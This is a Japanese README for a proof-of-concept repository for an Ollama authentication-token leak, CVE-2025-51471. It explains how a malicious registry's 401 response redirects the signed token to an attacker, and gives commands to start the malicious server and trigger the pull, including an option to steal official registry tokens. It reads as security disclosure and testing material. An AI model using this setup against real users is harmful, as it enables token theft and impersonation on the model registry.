CVE-2025-51471 - Ollama クロスドメイントークン漏えい PoC

作者: ajtazer

🔥 概要

このリポジトリには、Ollama の全バージョン（最新版を含む）に影響する、クロスドメイン認証トークン漏えいの脆弱性 CVE-2025-51471 の Proof of Concept（PoC）が含まれています。

📋 脆弱性の説明

Ollama が 401 Unauthorized で応答する HTTPS サーバーからモデルをプルする際、WWW-Authenticate ヘッダーの realm URL が同じドメインに属するかどうかを検証せずに従います[...]

これにより、攻撃者は以下のことが可能になります：

1. 悪意のある「レジストリ」サーバーをセットアップする
2. ユーザーを騙してそのサーバーからモデルをプルさせる
3. 攻撃者が制御するエンドポイントを指す WWW-Authenticate ヘッダーを含む 401 応答を返す
4. Ollama は Ed25519 署名付き認証トークンを攻撃者に盲目的に送信する
5. 攻撃者がトークンを取得する

影響

• registry.ollama.ai 上のプライベートモデルにアクセスする
• 被害者の ID で悪意のあるモデルをプッシュする
• Ollama レジストリで被害者になりすます

🚀 クイックスタート

前提条件

• Python 3.7+
• Flask（pip install flask）
• Ollama（任意のバージョン）

インストール

git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask

PoC の実行

1. 悪意のあるレジストリサーバーを起動します（HTTP モード）：

python3 malicious_registry.py --no-ssl

2. 別のターミナルで、Ollama が実行されていることを確認します：

ollama serve

3. 脆弱性を発動させます：

# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'

# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model

4. サーバーのターミナルで取得されたトークンを確認します！

🎬 デモ（PoC ビデオ）

この PoC を短いビデオでデモしました。こちらからご覧いただけます：

YouTube — PoC デモ

注意（macOS HTTPS モード）： HTTPS モードを使用する場合は、生成された証明書をキーチェーンに追加するか、--no-ssl を指定して HTTP モードを使用してください。

📖 使用オプション

python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]

Options:
  --port, -p PORT       Port to listen on (default: 8080)
  --no-ssl              Use HTTP instead of HTTPS
  --steal-official, -s  Redirect to steal registry.ollama.ai tokens
  --no-verbose          Disable verbose output

🔧 API エンドポイント

🛡️ 緩和策

1. 信頼できるソースからのみモデルをプルする
2. サードパーティのレジストリからモデルをプルする際は注意する
3. 公式修正については PR #10750 を参照してください

📝 クレジット

• 作者: ajtazer
• 最初の研究者：
  • Mohammed Benhelli (@FuzzingLabs)
  • Patrick Ventuzelo (@FuzzingLabs)
  • Huntr レポート

⚠️ 免責事項

この PoC は教育目的および許可されたセキュリティテストのみを対象としています。所有していないシステムに対して使用しないでください。

❤️ を込めて Antigravity で作成